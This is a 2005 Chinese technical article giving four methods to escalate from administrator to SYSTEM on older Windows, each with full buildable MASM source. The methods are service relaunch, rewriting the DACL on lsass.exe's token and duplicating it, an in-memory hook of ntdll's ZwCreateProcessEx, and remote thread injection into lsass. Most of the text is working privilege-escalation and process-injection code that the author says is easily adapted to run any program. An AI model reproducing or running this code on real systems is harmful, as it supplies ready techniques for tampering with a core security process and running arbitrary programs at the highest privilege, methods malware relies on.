从管理员身份获得 SYSTEM 权限的四种方法

作者: 一块三毛钱
邮件: zhongts@163.com
日期: 2005.1.15


本文总结了 4 种方法获得 SYSTEM 权限来运行 regedit.exe 文件,源代码很容易修改成命令行方式运行指定的程序。

1. 以服务方式运行
2. 添加 ACL 的方法
3. HOOK ZwCreateProcessEx 函数
4. 远程线程的方法

这几种方法都不是我想出来的,我只不过是总结了一下,用 Win32ASM 重写了代码而以。关于这个大家可以看文章末尾的参考资料。下面简单的分析每一种方法。

1. 以服务方式运行

    因为以服务方式运行程序时,相当于运行程序的是系统进程,所以,被指定运行的程序自然而然的继承了系统进程的权限,也就是 SYSTEM 权限。

;@echo off
;goto make

;====================================================================================
; 一块三毛钱
http://zhongts.yeah.net
zhongts@163.com
; 2005.1.15
;
; 以 SYSTEM 权限运行程序 - GetSys1
;
; 采用以服务方式运行的方法
;
;====================================================================================
.386
.model flat, stdcall
option casemap :none

include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\advapi32.inc
include c:\masm32\include\masm32.inc

includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\advapi32.lib
includelib c:\masm32\lib\masm32.lib

_ReLaunch proto

CTXT MACRO text
        local lbl
        .const
                lbl db text,0
        .code
        exitm   <offset lbl>
ENDM

.code
start proc
        LOCAL   stStartupInfo : STARTUPINFO
        LOCAL   procinfo : PROCESS_INFORMATION
        
        invoke  CreateMutex, NULL, TRUE, CTXT("GetSys1_Mutex")
        invoke  GetLastError
        .if eax==ERROR_ALREADY_EXISTS
                invoke  RtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo
                mov     stStartupInfo.cb, sizeof stStartupInfo
                invoke  CreateProcess, 0, CTXT("regedit.exe"), 0, 0, 0, 0, 0, 0, addr stStartupInfo, addr procinfo
                invoke  CloseHandle, procinfo.hProcess
                invoke  CloseHandle, procinfo.hThread
        .else
                invoke  _ReLaunch
        .endif
        
        invoke  ExitProcess, NULL
start endp

_ReLaunch proc
        LOCAL   hSCManager
        LOCAL   hService
        LOCAL   szName[MAX_PATH] : byte

        invoke  OpenSCManager, NULL, NULL, SC_MANAGER_CREATE_SERVICE
        .if eax!=0
                mov     hSCManager, eax
                
                invoke  OpenService, hSCManager, CTXT("GetSys1Temp"), DELETE
                .if eax!=0
                        push    eax
                        invoke  DeleteService, eax
                        call    CloseServiceHandle
                .endif
                
                invoke  GetModuleFileName, NULL, addr szName, MAX_PATH
                invoke  CreateService, hSCManager, CTXT("GetSys1Temp"), CTXT("GetSys1 Temp Service"), \
                                SERVICE_START + SERVICE_QUERY_STATUS + DELETE, \
                                SERVICE_WIN32_OWN_PROCESS + SERVICE_INTERACTIVE_PROCESS, SERVICE_DEMAND_START, \
                                SERVICE_ERROR_IGNORE, addr szName, NULL, NULL, NULL, NULL, NULL
                .if eax!=0
                        mov     hService, eax
                        invoke  StartService, hService, 0, NULL
                        invoke  DeleteService, hService
                        invoke  CloseServiceHandle, hService
                .endif
                invoke  CloseServiceHandle, hSCManager
        .endif
        ret
_ReLaunch endp

end start

:make

set path=%path%;c:\masm32\bin
set appname=GetSys1

ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows %appname%.obj
del %appname%.obj
echo.
pause

    GetSys1(第一次运行的这个进程 GetSys1 我们称为 A) 开始运行时先创建一个互斥量,接着以服务的方式重新启动自己(又一次运行的进程 GetSys1 我们称为 B),重新运行后的 B 已经具有了 SYSTEM 权限。B 再通过 CreateProcess 函数运行 regedit.exe 程序,因为 B 具有 SYSTEM 权限,所以 regedit.exe 从中继承了 SYSTEM 权限。运行完了 regedit.exe 后 B 结束运行,然后 A 中的 StartService 函数返回,A 结束运行。就是因为 StartService 函数不会直接返回,所以不能够直接通过服务的方式运行 regedit.exe。

2. 添加 ACL 的方法

    主要思想是调用 CreateProcessAsUser 函数来运行程序,CreateProcessAsUser 函数的第一个参数是特定用户的令牌,把这个参数设为具有 SYSTEM 权限的令牌即可。

;@echo off
;goto make

;====================================================================================
; 一块三毛钱
http://zhongts.yeah.net
zhongts@163.com
; 2005.1.15
;
; 以 SYSTEM 权限运行程序 - GetSys2
;
; 采用添加 ACL 的方法
;
;====================================================================================
.386
.model flat, stdcall
option casemap :none

include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\advapi32.inc
include c:\masm32\include\accctrl.inc
include c:\masm32\include\masm32.inc

includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\advapi32.lib
includelib c:\masm32\lib\masm32.lib

_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcName proto :DWORD
_ModifySecurity proto :DWORD,:DWORD

CTXT MACRO text
        local lbl
        .const
                lbl db text,0
        .code
        exitm   <offset lbl>
ENDM

ACL STRUCT
        AclRevision     BYTE  ?
        Sbz1            BYTE  ?
        AclSize         WORD  ?
        AceCount        WORD  ?
        Sbz2            WORD  ?
ACL ENDS
PACL typedef PTR ACL

SecurityImpersonation   equ 2

.code
start proc
        LOCAL   hProc
        LOCAL   hToken, hNewToken
        LOCAL   stStartupInfo : STARTUPINFO
        LOCAL   procinfo : PROCESS_INFORMATION
        
        sub     eax, eax
        mov     hProc, eax
        mov     hToken, eax
        mov     hNewToken, eax
        invoke  RtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo
        invoke  RtlZeroMemory, addr procinfo, sizeof procinfo
        
        invoke  _EnablePrivilege, CTXT("SeDebugPrivilege"), TRUE
        
        invoke  _GetPidFromProcName, CTXT("lsass.exe")
        invoke  OpenProcess, PROCESS_QUERY_INFORMATION, 0, eax
        test    eax, eax
        jz      _exit
        mov     hProc, eax
        invoke  OpenProcessToken, hProc, READ_CONTROL+WRITE_DAC, addr hToken
        test    eax, eax
        jz      _exit
        
        invoke  _ModifySecurity, hToken, TOKEN_ALL_ACCESS
        test    eax, eax
        jz      _exit
        
        invoke  CloseHandle, hToken
        mov     hToken, 0
        
        invoke  OpenProcessToken, hProc, TOKEN_ALL_ACCESS, addr hToken
        test    eax, eax
        jz      _exit
        
        invoke  DuplicateTokenEx, hToken, TOKEN_ALL_ACCESS, 0, SecurityImpersonation, TokenPrimary, addr hNewToken
        test    eax, eax
        jz      _exit
        
        invoke  ImpersonateLoggedOnUser, hNewToken
        test    eax, eax
        jz      _exit
        
        mov     stStartupInfo.cb, sizeof stStartupInfo
        invoke  CreateProcessAsUser, hNewToken, 0, CTXT("regedit.exe"), 0, 0, 0, 0, 0, 0, addr stStartupInfo, addr procinfo
        test    eax, eax
        jz      _exit
        invoke  CloseHandle, procinfo.hProcess
        invoke  CloseHandle, procinfo.hThread
        
_exit:
        .if hProc
                invoke  CloseHandle, hProc
        .endif
        .if hToken
                invoke  CloseHandle, hToken
        .endif
        .if hNewToken
                invoke  CloseHandle, hNewToken
        .endif
        invoke  ExitProcess, NULL
start endp

_ModifySecurity proc uses ebx esi edi, hToken:DWORD, dwAccess:DWORD
        LOCAL   pSD, pAbsSD
        LOCAL   dwSDLength
        LOCAL   bDaclPresent, bDaclDefaulted
        LOCAL   pAcl : PACL
        LOCAL   pNewAcl : PACL
        LOCAL   szName[1024] : BYTE
        LOCAL   ea : EXPLICIT_ACCESS
        LOCAL   pSacl, pOwner, pPrimaryGroup
        LOCAL   dwAclSize, dwSaclSize, dwOwnerSize, dwPrimaryGroup
        LOCAL   bSuccess
        
        sub     eax, eax
        mov     pSD, eax
        mov     pAbsSD, eax
        mov     dwSDLength, eax
        mov     bDaclPresent, eax
        mov     bDaclDefaulted, eax
        mov     pAcl, eax
        mov     pNewAcl, eax
        mov     pSacl, eax
        mov     pOwner, eax
        mov     pPrimaryGroup, eax
        mov     dwAclSize, eax
        mov     dwSaclSize, eax
        mov     dwOwnerSize, eax
        mov     dwPrimaryGroup, eax
        mov     bSuccess, eax

        invoke  GetKernelObjectSecurity, hToken, DACL_SECURITY_INFORMATION, pSD, 0, addr dwSDLength
        invoke  LocalAlloc, LPTR, dwSDLength
        test    eax, eax
        jz      _exit
        mov     pSD, eax
        invoke  GetKernelObjectSecurity, hToken, DACL_SECURITY_INFORMATION, pSD, dwSDLength, addr dwSDLength
        
        invoke  GetSecurityDescriptorDacl, pSD, addr bDaclPresent, addr pAcl, addr bDaclDefaulted
        
        mov     eax, sizeof szName
        push    eax
        invoke  GetUserName, addr szName, esp
        pop     eax
        
        invoke  BuildExplicitAccessWithName, addr ea, addr szName, dwAccess, GRANT_ACCESS, FALSE
        invoke  SetEntriesInAcl, 1, addr ea, pAcl, addr pNewAcl
        cmp     eax, ERROR_SUCCESS
        jne     _exit
        
        invoke  LocalFree, pAcl
        mov     pAcl, 0
        invoke  MakeAbsoluteSD, pSD, pAbsSD, addr dwSDLength, pAcl, addr dwAclSize, pSacl, addr dwSaclSize, \
                        pOwner, addr dwOwnerSize, pPrimaryGroup, addr dwPrimaryGroup
        
        invoke  LocalAlloc, LPTR, dwSDLength
        test    eax, eax
        jz      _exit
        mov     pAbsSD, eax
        
        invoke  LocalAlloc, LPTR, dwAclSize
        test    eax, eax
        jz      _exit
        mov     pAcl, eax
        
        invoke  LocalAlloc, LPTR, dwSaclSize
        test    eax, eax
        jz      _exit
        mov     pSacl, eax
        
        invoke  LocalAlloc, LPTR, dwOwnerSize
        test    eax, eax
        jz      _exit
        mov     pOwner, eax
        
        invoke  LocalAlloc, LPTR, dwPrimaryGroup
        test    eax, eax
        jz      _exit
        mov     pPrimaryGroup, eax
        
        invoke  MakeAbsoluteSD, pSD, pAbsSD, addr dwSDLength, pAcl, addr dwAclSize, pSacl, addr dwSaclSize, \
                        pOwner, addr dwOwnerSize, pPrimaryGroup, addr dwPrimaryGroup
        invoke  SetSecurityDescriptorDacl, pAbsSD, bDaclPresent, pNewAcl, bDaclDefaulted
        invoke  SetKernelObjectSecurity, hToken, DACL_SECURITY_INFORMATION, pAbsSD
        
        mov     bSuccess, 1
        
_exit:
        .if pSD
                invoke  LocalFree, pSD
        .endif
        .if pAcl
                invoke  LocalFree, pAcl
        .endif
        .if pNewAcl
                invoke  LocalFree, pNewAcl
        .endif
        .if pAbsSD
                invoke  LocalFree, pAbsSD
        .endif
        .if pSacl
                invoke  LocalFree, pSacl
        .endif
        .if pOwner
                invoke  LocalFree, pOwner
        .endif
        .if pPrimaryGroup
                invoke  LocalFree, pPrimaryGroup
        .endif
        mov     eax, bSuccess
        ret
_ModifySecurity endp

_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
        LOCAL   hToken
        LOCAL   tkp : TOKEN_PRIVILEGES
        
        invoke  GetCurrentProcess
        mov     edx, eax
        invoke  OpenProcessToken, edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken
        invoke  LookupPrivilegeValue, NULL, szPriv, addr tkp.Privileges.Luid
        mov     tkp.PrivilegeCount, 1
        xor     eax, eax
        .if bFlags
                mov     eax, SE_PRIVILEGE_ENABLED
        .endif
        mov     tkp.Privileges.Attributes, eax
        invoke  AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0
        push    eax
        invoke  CloseHandle, hToken
        pop     eax
        ret
_EnablePrivilege endp

_GetPidFromProcName proc lpProcName:DWORD
        LOCAL   stProcess : PROCESSENTRY32
        LOCAL   hSnapshot
        LOCAL   dwProcessID
        
        mov     dwProcessID, 0
        invoke  RtlZeroMemory, addr stProcess, sizeof stProcess
        mov     stProcess.dwSize, sizeof stProcess
        invoke  CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0
        mov     hSnapshot, eax
        invoke  Process32First, hSnapshot, addr stProcess
        .while eax
                invoke  lstrcmpi, lpProcName, addr stProcess.szExeFile
                .if eax==0
                        mov     eax, stProcess.th32ProcessID
                        mov     dwProcessID, eax
                        .break
                .endif
                invoke  Process32Next, hSnapshot, addr stProcess
        .endw
        invoke  CloseHandle, hSnapshot
        mov     eax, dwProcessID
        ret
_GetPidFromProcName endp

end start

:make

set path=%path%;c:\masm32\bin
set appname=GetSys2

ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows %appname%.obj
del %appname%.obj
echo.
pause

    GetSys2 取得 lsass.exe 进程的令牌,缺省情况下操作这个令牌的权限很小,所以需要先取得操作这个令牌的所有权限。这个任务由函数 _ModifySecurity 来完成。有了权限后,复制一个主令牌,然后在当前线程中扮演 SYSTEM 用户,接着就可以调用 CreateProcessAsUser 函数运行 regedit.exe 程序了。有关安全性编程不清楚的地方可以参考[3]。


3. HOOK ZwCreateProcessEx 函数

    有关这个[1]里面讲得很清楚了,下面直接给出源代码。

;@echo off
;goto make

;====================================================================================
; 一块三毛钱
http://zhongts.yeah.net
zhongts@163.com
; 2005.1.15
;
; 以 SYSTEM 权限运行程序 - GetSys3
;
; 采用 HOOK ZwCreateProcessEx 函数的方法
;
;====================================================================================

.386
.model flat, stdcall
option casemap :none

include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\advapi32.inc
include c:\masm32\include\masm32.inc

includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\advapi32.lib
includelib c:\masm32\lib\masm32.lib

_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcName proto :DWORD
_HackedZwCreateProcessEx proto

CTXT MACRO text
        local lbl
        .const
                lbl db text,0
        .code
        exitm   <offset lbl>
ENDM

ASMJMP struct
        mov_eax         BYTE    ?
        address         DWORD   ?
        jmp_eax         WORD    ?
ASMJMP ends

.data?
        g_hProc dd  ?
        g_dwFunc        dd  ?

.code
start proc
        LOCAL   osvi : OSVERSIONINFO
        LOCAL   lpAsmJmp
        LOCAL   mbi : MEMORY_BASIC_INFORMATION
        LOCAL   stStartupInfo : STARTUPINFO
        LOCAL   procinfo : PROCESS_INFORMATION
        
        sub     eax, eax
        mov     lpAsmJmp, eax
        invoke  RtlZeroMemory, addr osvi, sizeof osvi
        invoke  RtlZeroMemory, addr mbi, sizeof mbi
        invoke  RtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo
        invoke  RtlZeroMemory, addr procinfo, sizeof procinfo
        
        mov     osvi.dwOSVersionInfoSize, sizeof osvi
        invoke  GetVersionEx, addr osvi
        cmp     osvi.dwMajorVersion, 5
        jnz     _exit
        .if osvi.dwMinorVersion==1
                mov     g_dwFunc, 30h
        .elseif osvi.dwMinorVersion==2
                mov     g_dwFunc, 32h
        .endif
        
        invoke  _EnablePrivilege, CTXT("SeDebugPrivilege"), TRUE
        
        invoke  _GetPidFromProcName, CTXT("lsass.exe")
        test    eax, eax
        jz      _exit
        
        invoke  OpenProcess, PROCESS_CREATE_PROCESS, TRUE, eax
        test    eax, eax
        jz      _exit
        mov     g_hProc, eax
        
        invoke  GetModuleHandle, CTXT("ntdll.dll")
        mov     edx, eax
        invoke  GetProcAddress, edx, CTXT("ZwCreateProcessEx")
        mov     lpAsmJmp, eax
        
        invoke  VirtualQuery, lpAsmJmp, addr mbi, sizeof mbi
        push    eax
        invoke  VirtualProtect, mbi.AllocationBase, mbi.RegionSize, PAGE_EXECUTE_READWRITE, esp
        pop     eax
        
        mov     edi, lpAsmJmp
        assume  edi : ptr ASMJMP
        mov     [edi].mov_eax, 0B8h
        mov     [edi].address, offset _HackedZwCreateProcessEx
        mov     [edi].jmp_eax, 0E0FFh
        
        mov     stStartupInfo.cb, sizeof stStartupInfo
        invoke  CreateProcess, 0, CTXT("regedit.exe"), 0, 0, 0, 0, 0, 0, addr stStartupInfo, addr procinfo
        test    eax, eax
        jz      _exit
        invoke  CloseHandle, procinfo.hProcess
        invoke  CloseHandle, procinfo.hThread
        
_exit:
        invoke  ExitProcess, NULL
start endp

_HackedZwCreateProcessEx proc
        mov     eax, g_hProc
        mov     dword ptr [esp+16], eax
        mov     eax, g_dwFunc
        lea     edx, dword ptr [esp+4]
        int     2Eh
        retn    24h
_HackedZwCreateProcessEx endp

_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
        LOCAL   hToken
        LOCAL   tkp : TOKEN_PRIVILEGES
        
        invoke  GetCurrentProcess
        mov     edx, eax
        invoke  OpenProcessToken, edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken
        invoke  LookupPrivilegeValue, NULL, szPriv, addr tkp.Privileges.Luid
        mov     tkp.PrivilegeCount, 1
        xor     eax, eax
        .if bFlags
                mov     eax, SE_PRIVILEGE_ENABLED
        .endif
        mov     tkp.Privileges.Attributes, eax
        invoke  AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0
        push    eax
        invoke  CloseHandle, hToken
        pop     eax
        ret
_EnablePrivilege endp

_GetPidFromProcName proc lpProcName:DWORD
        LOCAL   stProcess : PROCESSENTRY32
        LOCAL   hSnapshot
        LOCAL   dwProcessID
        
        mov     dwProcessID, 0
        invoke  RtlZeroMemory, addr stProcess, sizeof stProcess
        mov     stProcess.dwSize, sizeof stProcess
        invoke  CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0
        mov     hSnapshot, eax
        invoke  Process32First, hSnapshot, addr stProcess
        .while eax
                invoke  lstrcmpi, lpProcName, addr stProcess.szExeFile
                .if eax==0
                        mov     eax, stProcess.th32ProcessID
                        mov     dwProcessID, eax
                        .break
                .endif
                invoke  Process32Next, hSnapshot, addr stProcess
        .endw
        invoke  CloseHandle, hSnapshot
        mov     eax, dwProcessID
        ret
_GetPidFromProcName endp

end start

:make

set path=%path%;c:\masm32\bin
set appname=GetSys3

ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows %appname%.obj
del %appname%.obj
echo.
pause

4. 远程线程的方法

    通过注入远程线程的方法来运行指定的 regedit.exe 程序,也是相当于运行 regedit.exe 程序的是系统进程,那么 regedit.exe 也就自然而然的继承了系统进程的 SYSTEM 权限。

;@echo off
;goto make

;====================================================================================
; 一块三毛钱
http://zhongts.yeah.net
zhongts@163.com
; 2005.1.15
;
; 以 SYSTEM 权限运行程序 - GetSys4
;
; 采用远程线程的方法
;
;====================================================================================
.386
.model flat, stdcall
option casemap :none

include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\advapi32.inc
include c:\masm32\include\masm32.inc

includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\advapi32.lib
includelib c:\masm32\lib\masm32.lib

_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcName proto :DWORD

;下面两个宏来源于罗云彬的《Windows 环境下32位汇编程序设计》一书
reverseArgs macro arglist:VARARG
        local   txt,count
    
        txt     TEXTEQU <>
        count   = 0
        for     i,<arglist>
                count   = count + 1
                txt     TEXTEQU @CatStr(i,<!,>,<%txt> )
        endm
        if      count GT 0
                txt     SUBSTR  txt,1,@SizeStr(%txt)-1
        endif
        exitm   txt
endm
_invoke macro _Proc,args:VARARG
        local   count
    
        count   = 0
%       for     i,< reverseArgs( args ) >
                count   = count + 1
                push    i
        endm
        call    dword ptr _Proc    
    
endm

CTXT MACRO text
        local lbl
        .const
                lbl db text,0
        .code
        exitm   <offset lbl>
ENDM

.data?
        g_hProcess      dd  ?
        g_lpRemoteCode  dd  ?

.code
Remote_code_start       equ this byte

g_lpGetModuleHandleA    dd  ?
g_lpGetProcAddress      dd  ?

g_szKernel32            db  "Kernel32.dll",0
g_szCreateProcessA      db  "CreateProcessA",0

g_lpCreateProcessA      dd  ?

g_szRegedit             db  "Regedit.exe",0
g_szDesktop             db  "WinSta0\Default",0

g_stStartupInfo         STARTUPINFO <?>
g_procinfo              PROCESS_INFORMATION <?>

_RemoteThread proc
;       int     3
        pushad
        call    @F
        @@:
        pop     ebx
        sub     ebx, offset @B
        
        lea     eax, [ebx+g_szKernel32]
        _invoke [ebx+g_lpGetModuleHandleA], eax
        mov     esi, eax
        lea     eax, [ebx+g_szCreateProcessA]
        _invoke [ebx+g_lpGetProcAddress], esi, eax
        mov     [ebx+g_lpCreateProcessA], eax
        
        lea     eax, [ebx+g_szDesktop]
        lea     ecx, [ebx+g_stStartupInfo]
        mov     dword ptr [ecx], sizeof g_stStartupInfo
        mov     dword ptr [ecx+8], eax
        lea     eax, [ebx+g_szRegedit]
        lea     edx, [ebx+g_procinfo]
        
        _invoke [ebx+g_lpCreateProcessA], 0, eax, 0, 0, 0, 0, 0, 0, ecx, edx
        
        popad
        ret
_RemoteThread endp

Remote_code_end         equ this byte
Remote_code_length      equ offset Remote_code_end - offset Remote_code_start

start proc
        invoke  GetModuleHandle, CTXT("kernel32.dll")
        mov     ebx, eax
        invoke  GetProcAddress, ebx, CTXT("GetModuleHandleA")
        mov     g_lpGetModuleHandleA, eax
        invoke  GetProcAddress, ebx, CTXT("GetProcAddress")
        mov     g_lpGetProcAddress, eax
        
        invoke  _EnablePrivilege, CTXT("SeDebugPrivilege"), TRUE
        
        invoke  _GetPidFromProcName, CTXT("lsass.exe")
        invoke  OpenProcess, PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE, FALSE, eax
        .if eax
                mov     g_hProcess, eax
                invoke  VirtualAllocEx, g_hProcess, NULL, Remote_code_length, MEM_COMMIT, PAGE_EXECUTE_READWRITE
                .if eax
                        mov     g_lpRemoteCode, eax
                        invoke  WriteProcessMemory, g_hProcess, g_lpRemoteCode, offset Remote_code_start, Remote_code_length, NULL
                        mov     eax, g_lpRemoteCode
                        add     eax, offset _RemoteThread - offset Remote_code_start
                        invoke  CreateRemoteThread, g_hProcess, NULL, 0, eax, 0, 0, NULL
                        invoke  CloseHandle, eax
                .endif
                invoke  CloseHandle, g_hProcess
        .endif
        invoke  ExitProcess, NULL
start endp

_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
        LOCAL   hToken
        LOCAL   tkp : TOKEN_PRIVILEGES
        
        invoke  GetCurrentProcess
        mov     edx, eax
        invoke  OpenProcessToken, edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken
        invoke  LookupPrivilegeValue, NULL, szPriv, addr tkp.Privileges.Luid
        mov     tkp.PrivilegeCount, 1
        xor     eax, eax
        .if bFlags
                mov     eax, SE_PRIVILEGE_ENABLED
        .endif
        mov     tkp.Privileges.Attributes, eax
        invoke  AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0
        push    eax
        invoke  CloseHandle, hToken
        pop     eax
        ret
_EnablePrivilege endp

_GetPidFromProcName proc lpProcName:DWORD
        LOCAL   stProcess : PROCESSENTRY32
        LOCAL   hSnapshot
        LOCAL   dwProcessID
        
        mov     dwProcessID, 0
        invoke  RtlZeroMemory, addr stProcess, sizeof stProcess
        mov     stProcess.dwSize, sizeof stProcess
        invoke  CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0
        mov     hSnapshot, eax
        invoke  Process32First, hSnapshot, addr stProcess
        .while eax
                invoke  lstrcmpi, lpProcName, addr stProcess.szExeFile
                .if eax==0
                        mov     eax, stProcess.th32ProcessID
                        mov     dwProcessID, eax
                        .break
                .endif
                invoke  Process32Next, hSnapshot, addr stProcess
        .endw
        invoke  CloseHandle, hSnapshot
        mov     eax, dwProcessID
        ret
_GetPidFromProcName endp

end start

:make

set path=%path%;c:\masm32\bin
set appname=GetSys4

ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows /section:.text,rwe %appname%.obj
del %appname%.obj
echo.
pause

    这段代码也没什么好解释的,唯一一个要注意的地方就是调用 CreateProcess 函数时,lpStartupInfo 参数指向的 STARTUPINFO 结构成员 lpDesktop 需要明确的指定 WinSta0\Default 为运行桌面。否则,程序 regedit.exe 运行后不知道跑到哪里去了。


参考资料

[1] scz MSDN系列(3)--Administrator用户直接获取SYSTEM权限
    http://www.nsfocus.net/index.php?ac...ew&mid=1900
[2] wsu 1.0
    http://www.BingleSite.net
[3] Keith Brown 《Windows 安全性编程》
[4] Token.Master
    Jeffrey Richter/Jason D.Clark 《Programming.Server-Side.Applications.for.MS.Windows.2000》


附件:GetSys.rar